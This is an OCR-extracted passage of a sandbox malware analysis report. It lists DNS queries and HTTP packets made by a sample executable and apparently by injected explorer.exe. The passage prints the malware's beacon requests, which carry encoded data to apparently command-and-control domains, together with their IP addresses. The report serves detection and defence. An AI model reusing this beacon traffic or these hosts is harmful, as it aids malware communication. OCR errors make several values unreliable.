www.learnc
odeing.com

www.ozatta
0S.XyzZ

www.unitedmetal-
saudi.com

www.photon
4energy.com

www.diamot
a.com

www.wordpr
esshosting
blog.com

www.braxty
nmi.xyz
www.braxty
nmi.xyz
www.aubzo7
09fm.com

www.koeday
uuki.com

www.koeday
uuki.com

www.abcjan
itorialsol
utions.com

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Nov 25, 2021 12:58:51.662826061 CET

Nov 25, 2021 12:58:52.678152084 CET

Nov 25, 2021 12:58:52.686074972 CET

Nov 25, 2021 12:58:52.688359022 CET

Nov 25, 2021 12:58:58.036858082 CET

Nov 25, 2021 12:59:10.721602917 CET

Nov 25, 2021 12:59:10.939840078 CET

Nov 25, 2021 12:59:15.971111059 CET

Nov 25, 2021 12:59:21.063400030 CET

Nov 25, 2021 12:59:26.108608961 CET

Nov 25, 2021 12:59:26.327131987 CET

Nov 25, 2021 12:59:31.654335022 CET

Nov 25, 2021 12:59:56.101802111 CET

Nov 25, 2021 13:00:01.211821079 CET

Nov 25, 2021 13:00:06.240541935 CET

Nov 25, 2021 13:00:06.458643913 CET

Nov 25, 2021 13:00:29.942055941 CET

Nov 25, 2021 13:00:30.156375885 CET

Nov 25, 2021 13:00:53.886012077 CET

Nov 25, 2021 13:01:03.977972984 CET

Nov 25, 2021 13:01:04.101392984 CET

Nov 25, 2021 13:01:05.101810932 CET

Nov 25, 2021 13:01:10.460341930 CET

Nov 25, 2021 13:01:21.473484039 CET

Nov 25, 2021 13:01:26.535120964 CET

Nov 25, 2021 13:01:26.753305912 CET

Nov 25, 2021 13:01:27.768533945 CET

Nov 25, 2021 13:01:28.101371050 CET

Nov 25, 2021 13:01:28.101464033 CET

Nov 25, 2021 13:01:33.158452988 CET

Nov 25, 2021 13:01:48.514272928 CET

Nov 25, 2021 13:01:53.544626951 CET

Copyright Joe Security LLC 2021

Source IP

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Dest IP
9.9.9.9

1111

9.9.9.9

9.9.9.9

1111

1111

9.9.9.9

1111

1111

1111

9.9.9.9

1111

1111

1111

1111

9.9.9.9

1111

9.9.9.9

1111

1111

9.9.9.9

9.9.9.9

1111

1111

1111

9.9.9.9

1111

9.9.9.9

9.9.9.9

1111

1111

1111

Trans ID

0x8f42

0x8f42

0x8f42

0x8f42

0x614b

0x390a

0x390a

0x3831

Oxb4ed

Oxa37a

Oxa37a

0x18ef

0x4871

0x50ec

Oxa2db

Oxa2db

Ox4dab

Ox4dab

0x7c85

0x56eb

0x56eb

0x56eb

0x9efe

0xc796

0xf45e

0xf45e

0xf45e

0xf45e

0xf45e

0x7e4d

0x6e31

0x6a85

OP Code

Standard query
0

Standard query
(0

Standard query
(0

Standard query
(0

Standard query
©
Standard query
(0
Standard query
(0)
Standard query
@

Standard query
©

Standard query
©)
Standard query
©)
Standard query
©)
Standard query
©)

Standard query
)
Standard query
)
Standard query
)
Standard query
)
Standard query
)
Standard query
)

Standard query
)
Standard query
(©)
Standard query
(©)
Standard query
(©)
Standard query
(©)
Standard query
©)

Standard query
0

Standard query
0

Standard query
0

Standard query
@

Standard query
0
Standard query
0
Standard query
0

Name

www.abcjan
itorialsol
utions.com

www.abhcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.diamot
a.com

Www.recove
rytrivia.com

WWw.recove
rytrivia.com

WwWw.recrui
tresumelib
rary.com

www.divorc
efearfreed
om.com

www.jamiec
ongedo.com
www.jamiec
ongedo.com

www.lopsre
ntal.lease

www.wordpr
esshosting
blog.com

www.photon
4energy.com

www.hsbp.online

www.hsbp.online

www.hsbp.online

www.hsbp.online

www.wordpr
esshosting
blog.com

www.braxty
nmi.xyz

www.braxty
nmi.xyz

www.braxty
nmi.xyz

www.aubzo7
09fm.com

www.koeday
uuki.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.diamot
a.com

www.diamot
a.com

www_little
fishth.com

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Page 25 of 57



DNS Answers

Timestamp Source IP

Nov 25, 2021 1111
12:54:53.942935944
CET

Nov 25, 2021 1111
12:55:51.042181015
CET

Nov 25, 2021 1111
12:55:58.974168062
CET

Nov 25, 2021 1111
12:55:58.974231958
CET

Nov 25, 2021 1111
12:56:08.015940905
CET

Nov 25, 2021 1111
12:56:13.209991932
CET

Nov 25, 2021 1111
12:56:13.209991932
CET

Nov 25, 2021 1111
12:56:28.519181967
CET

Nov 25, 2021 1111
12:56:28.519181967
CET

Nov 25, 2021 1111
12:56:33.892754078
CET

Nov 25, 2021 1111
12:56:39.787123919
CET

Nov 25, 2021 1111
12:56:45.150636911
CET

Nov 25, 2021 1111
12:56:50.179316044
CET

Nov 25, 2021 1111
12:56:55.394290924
CET

Nov 25, 2021 9.9.9.9
12:56:55.683530092
CET

Nov 25, 2021 1111
12:57:00.714526892
CET

Nov 25, 2021 1111
12:57:05.759927034
CET

Nov 25, 2021 1111
12:57:11.527509928
CET

Nov 25, 2021 1111
12:57:17.784806013
CET

Nov 25, 2021 9.9.9.9
12:57:19.576499939
CET

Nov 25, 2021 9.9.9.9
12:57:19.580840111
CET

Nov 25, 2021 1111
12:57:24.603919029
CET

Nov 25, 2021 1111
12:57:38.233838081
CET

Nov 25, 2021 1111
12:57:43.309425116
CET

Nov 25, 2021 1111
12:57:48.430073023
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0x4274

0x5671

0xbd52

0xbd52

0xf541

0xe8e0

0xe8e0

0x5fb

0x5fb

0xb6f5

0x1a58

0xcf10

0x48a0

0x36¢d

0x36¢d

0xf76d

0x2175

Ox4f7a

Oxc2le

Oxc2le

Oxc2le

Oxed1b

Oxlebc

0x2ba0

0xb654

Reply Code
No error (0)

Name error (3)

Server failure

(@)

Server failure

(@)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

Server failure

@

Server failure

@

Name error (3)

No error (0)

Name error (3)

Server failure

@

Server failure
@)

Server failure

@

Name error (3)

No error (0)

Name error (3)

No error (0)

Name

atseasonals.com

www.tvterr
adafarinha.com

www.3uwz9m
pxk77g.biz

www.3uwz9m
pxk77g.biz

www.testwe
bsite0711.com

www.topwow
shopping.store

Www.topwow
shopping.store

www.groweb
ox.com

growebox.com

www.ayudav
ida.com

www.styles
bykee.com

www.wordpr
esshosting
blog.com

www.inklus
ion.online

www.braxty
nmi.xyz

www.braxty
nmi.xyz

www.aubzo7
09fm.com

www.mackth
etruck.com

www.koeday
uuki.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.diamot
a.com

www.helpcl
oud.xyz

www.learnc
odeing.com

www.ozatta
0S.XyzZ

CName

none

none

none

none

growebox.com

none

none

none

none

none

none

none

none

none

none

Address
107.6.148.162

none

none

none

none

104.21.76.223

172.67.201.232

81.2.194.128

164.155.212.139

172.120.157.187

none

3.64.163.50

none

none

none

203.170.80.250

none

none

none

none

none

88.99.22.5

none

172.67.164.153

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Nov 25, 2021 1111
12:57:48.430073023
CET

Nov 25, 2021 1111
12:58:04.223543882
CET

Nov 25, 2021 1111
12:58:04.223543882
CET

Nov 25, 2021 1111
12:58:09.592269897
CET

Nov 25, 2021 1111
12:58:14.773039103
CET

Nov 25, 2021 1111
12:58:19.811454058
CET

Nov 25, 2021 1111
12:58:30.458825111
CET

Nov 25, 2021 9.9.9.9
12:58:30.588610888
CET

Nov 25, 2021 1111
12:58:35.633763075
CET

Nov 25, 2021 1111
12:58:46.431617975
CET

Nov 25, 2021 9.9.9.9
12:58:46.492364883
CET

Nov 25, 2021 1111
12:58:52.685652018
CET

Nov 25, 2021 1111
12:58:52.688004971
CET

Nov 25, 2021 9.9.9.9
12:58:53.021514893
CET

Nov 25, 2021 9.9.9.9
12:58:54.459963083
CET

Nov 25, 2021 9.9.9.9
12:58:54.460007906
CET

Nov 25, 2021 1111
12:58:58.051316977
CET

Nov 25, 2021 1111
12:59:10.964309931
CET

Nov 25, 2021 9.9.9.9
12:59:11.009278059
CET

Nov 25, 2021 1111
12:59:16.058739901
CET

Nov 25, 2021 1111
12:59:21.081434011
CET

Nov 25, 2021 1111
12:59:21.081434011
CET

Nov 25, 2021 1111
12:59:21.081434011
CET

Nov 25, 2021 1111
12:59:26.439765930
CET

Nov 25, 2021 1111
12:59:26.439765930
CET

Nov 25, 2021 1111
12:59:26.439765930
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0xb654

0xb240

0xb240

Oxac5e

0x29d3

0x8579

Ox6alb

Ox6alb

0x2b4d

0x93f5

0x93f5

0x8f42

0x8f42

0x8f42

0x8f42

0x8f42

0x614b

0x390a

0x390a

0x3831

Oxb4ed

Oxb4ed

Oxb4ed

Oxa37a

Oxa37a

Oxa37a

Reply Code
No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

Name error (3)

Server failure

(@)

Server failure

(@)

Name error (3)

Name error (3)

Name error (3)

Server failure

@

Server failure

@

Server failure

@

Server failure

@

Server failure

@

Name error (3)

Name error (3)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.ozatta
0S.Xyz

www.united
metal-saudi.com

zhs.zohosi
tes.com

www.photon
4energy.com

www.diamot
a.com

www.wordpr
esshosting
blog.com

www.braxty
nmi.xyz

www.braxty
nmi.xyz

www.aubzo7
09fm.com

www.koeday
uuki.com

www.koeday
uuki.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.diamot
a.com

Www.recove
rytrivia.com

Www.recove
rytrivia.com

www.recrui
tresumelib
rary.com

www.divorc
efearfreed
om.com

divorcefea
rfreedom.com

divorcefea
rfreedom.com

www.jamiec
ongedo.com

ext-sg.squ
arespace.com

ext-sg.squ
arespace.com

CName

zhs.zohosites.com

none

none

none

none

none

none

none

none

none

none

none

none

none

none

none

none

none

divorcefearfreedom.com

ext-
sg.squarespace.com

Address
104.21.82.227

136.143.191.204

none

none

none

none

none

none

none

none

none

none

none

none

none

none

none

none

none

192.0.78.25

192.0.78.24

198.185.159.144

198.49.23.145

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Nov 25, 2021
12:59:26.439765930
CET

1111

Nov 25, 2021
12:59:26.439765930
CET

1111

Nov 25, 2021
12:59:26.513344049
CET

9.9.9.9

Nov 25, 2021
12:59:26.513344049
CET

9.9.9.9

Nov 25, 2021
12:59:26.513344049
CET

9.9.9.9

Nov 25, 2021
12:59:26.513344049
CET

9.9.9.9

Nov 25, 2021
12:59:26.513344049
CET

9.9.9.9

Nov 25, 2021
12:59:31.680389881
CET

1111

Nov 25, 2021
12:59:56.131233931
CET

1111

Nov 25, 2021 1111
13:00:01.233881950

CET

Nov 25, 2021
13:00:06.735636950
CET

9.9.9.9

Nov 25, 2021
13:00:06.831073046
CET

1111

Nov 25, 2021 9.9.9.9
13:00:30.477859974

CET

Nov 25, 2021
13:00:30.897559881
CET

Nov 25, 2021
13:00:53.921145916
CET

Nov 25, 2021
13:01:04.101047993
CET

Nov 25, 2021
13:01:05.443922043
CET

Nov 25, 2021
13:01:05.901644945
CET

Nov 25, 2021
13:01:10.623939991
CET

Nov 25, 2021
13:01:21.523458958
CET

Nov 25, 2021
13:01:28.100953102
CET

Nov 25, 2021
13:01:28.101001024
CET

Nov 25, 2021
13:01:28.143435001
CET

Nov 25, 2021
13:01:29.227781057
CET

Nov 25, 2021
13:01:29.390598059
CET

Nov 25, 2021
13:01:33.178805113
CET

1111

1111

1111

9.9.9.9

9.9.9.9

1111

1111

1111

1111

9.9.9.9

9.9.9.9

9.9.9.9

1111

Copyright Joe Security LLC 2021

Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

Oxa37a

Oxa37a

Oxa37a

Oxa37a

Oxa37a

Oxa37a

Oxa37a

0x18ef

0x4871

0x50ec

Oxa2db

Oxa2db

Ox4dab

Ox4dab

0x7c85

0x56eb

0x56eb

0x56eb

0x9efe

0xc796

Oxf45e

0xf45e

0xf45e

0xf45e

0xf45e

Ox7e4d

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Server failure

@

Server failure

@

Server failure

@

Name error (3)

Name error (3)

Server failure

@

Server failure
@)

Server failure
@)

Server failure

@

Server failure

@

Name error (3)

Name

ext-sg.squ
arespace.com

ext-sg.squ
arespace.com

www.jamiec
ongedo.com

ext-sg.squ
arespace.com

ext-sg.squ
arespace.com

ext-sg.squ
arespace.com

ext-sg.squ
arespace.com

www.lopsre
ntal.lease

www.wordpr
esshosting
blog.com

www.photon
4energy.com

www.hsbp.online

www.hsbp.online

www.hsbp.online

www.hsbp.online

www.wordpr
esshosting
blog.com

www.braxty
nmi.xyz

www.braxty
nmi.xyz

www.braxty
nmi.xyz

www.aubzo7
09fm.com

www.koeday
uuki.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.diamot
a.com

CName

ext-
sg.squarespace.com

none

none

none

none

none

none

none

none

none

none

none

none

none

none

Address
198.185.159.145

198.49.23.144

198.49.23.144

198.185.159.144

198.49.23.145

198.185.159.145

66.29.140.185

none

none

116.62.216.226

116.62.216.226

116.62.216.226

116.62.216.226

none

none

none

none

none

none

none

none

none

none

none

none

Type
A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP

Nov 25, 2021
13:01:48.535561085
CET

1111

Nov 25, 2021
13:01:53.565690994
CET

1111

Nov 25, 2021
13:01:53.565690994
CET

1111

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

Ox6e31

Ox6a85

Ox6a85

HTTP Request Dependency Graph

e atseasonals.com

* www.topwowshopping.store

* www.growebox.com

e www.ayudavida.com

e www.stylesbykee.com

e www.inklusion.online

e www.mackthetruck.com

e www.helpcloud.xyz

® Www.ozattaos.xyz

e www.unitedmetal-saudi.com

o www.divorcefearfreedom.com

* www.jamiecongedo.com

e www.lopsrental.lease

HTTP Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

10 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port
49812

Direction

Source Port
49837

Direction

Source Port

49822

Direction

Reply Code

Name error (3)

No error (0)

No error (0)

Destination IP
107.6.148.162

Data

Destination IP
107.6.148.162

Data

Destination IP

88.99.22.5

Data

Name CName Address
www.diamot none none
a.com

www.little littlefishth.com

fishth.com

littlefishth.com

Destination Port Process
443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Destination Port Process

443 C:\Users\user\Desktop\Zr26f1rL6r.exe

Destination Port Process

80 C:\Windows\explorer.exe

Type
A (IP address)

CNAME
(Canonical
name)

34.102.136.180 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)
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kBytes
Timestamp transferred

Nov 25, 2021 6441
12:57:38.250077963 CET

Nov 25, 2021 6442
12:57:38.265187025 CET

Session ID Source IP

11 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6443

12:57:48.440284967 CET

Session ID Source IP

12 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6444

12:57:53.969954967 CET

Nov 25, 2021 6444
12:57:53.981384993 CET

Session ID Source IP

13 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6445

12:58:04.395824909 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49823

Direction

ouT

Source Port

49824

Direction

ouT

Source Port
49825

Direction

ouT

Data

GET /n8ds/?6ldD=4vxveAhDLD1bBBVBY GkITAgHjczf9yiSG6BwWPp//NOBMhpPOxQNoBxeqzaksixrbhTI&5jp=eZ4Pez
HTTP/1.1

Host: www. helpcloud.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx/1.18.0 (Ubuntu)

Date: Thu, 25 Nov 2021 11:57:38 GMT

Content-Type: text/html

Content-Length: 178

Connection: close

Location: https://www.helpcloud.xyz:443/n8ds/?6ldD=4vxveAhDLD1bBBVBYGkITAgHIjczf9yiSG6BwPp//NOBMhpPO
xQNoBxeqgzaksixrbhTI&5jp=eZ4Pez

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74
65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</titte></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Destination IP Destination Port Process

172.67.164.153 80 C:\Windows\explorer.exe

Data

GET /n8ds/?61dD=n1UrTr6j/bQFz4e4Cp8BbMPOV/KiHdXZ9JkrSrs2y278xAws0T3fM8y5E13MJIVyQk50j&5jp=eZ4Pez
HTTP/1.1

Host: www.ozattaos.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

3.64.163.50 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=4XwYGzmPDVH3THQXSPknmfdazTodAXDIHas2KNX7n/UXs4ghRUZWEGVkVmOhYsfSCvUh&5jp=e
Z4Pez HTTP/1.1

Host: www.inklusion.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Thu, 25 Nov 2021 11:57:39 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e Oa 0d Oa 35 30 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69 6f 6e 2e 6f 6e 6¢ 69 6e 65 2f 27 20 2f 3e 0Oa 0d Oa 61 0d Oa
20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d Oa 20 20 3c 62 6f 64 79 3e Oa 0d Oa 33 63 0d Oa 20 20 20 20 59 6f 75 20 61 72
65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69
6f 6e 2e 6f 6e 6¢ 69 6e 65 0a 0d Oa 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa
30 0d 0a 0d Oa

Data Ascii: 7<html>9 <head>50 <meta http-equiv="refresh’ content='5; url=http://www.inklusion.online/' />a </head>9
<body>3c You are being redirected to http://www.inklusion.onlinea </body>8</htmI>0

Destination IP Destination Port Process
136.143.191.204 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=diwsORRfDxwvVIRuoC4BJCkr8rc2YRL+Z6kcdn/HANybLONtvNIGNnh8uTRYHcPOHwusF&5jp=eZ4Pez
HTTP/1.1

Host: www.unitedmetal-saudi.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Nov 25, 2021 6446
12:58:04.573025942 CET

Session ID Source IP

14 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6452

12:58:24.837934971 CET

Nov 25, 2021 6452
12:58:24.849364996 CET

Session ID Source IP

15 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49826

Direction
ouT

Source Port

49827

Direction

Data

HTTP/1.1 404

Server: ZGS

Date: Thu, 25 Nov 2021 11:58:04 GMT

Content-Type: text/html

Content-Length: 4657

Connection: close

Set-Cookie: Ocea9df7db=0f71d2b25c73f2883ce01c2fd3c97eb8; Path=/

X-XSS-Protection: 1

Set-Cookie: csrfc=7cab9245-d002-4707-a403-488c5a26dce3;path=/;priority=high

Set-Cookie: _zcsr_tmp=7cab9245-d002-4707-a403-488c5a26dce3;path=/;SameSite=Strict;priority=high

Pragma: no-cache

Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate

Expires: Thu, 01 Jan 1970 00:00:00 GMT

vary: accept-encoding

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e Oa 20 20 20 3c 68 65 61 64 3e Oa 20 20 20
2020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c
20 6e 6f 66 6f 6¢ 6¢ 6f 77 2C 20 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20
2020 3c 74 69 74 6¢ 65 3e 5a 6f 68 6f 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 20 20 3c 6¢ 69 6e 6b 20 74 79 70 65 3d 22
746578 74 2f 63 73 73 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6e
7473 3f 66 61 6d 69 6¢ 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79
6¢c 65 3e Oa 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d
69 6¢ 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20
20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 70 7
8 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 70 78 3b 20 Oa 20 20 20 20 20 20 20 20 20
202020 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 35 66 35 66 35 3b 0a 20 20 20 20 20 20 20 20 20 7d Oa
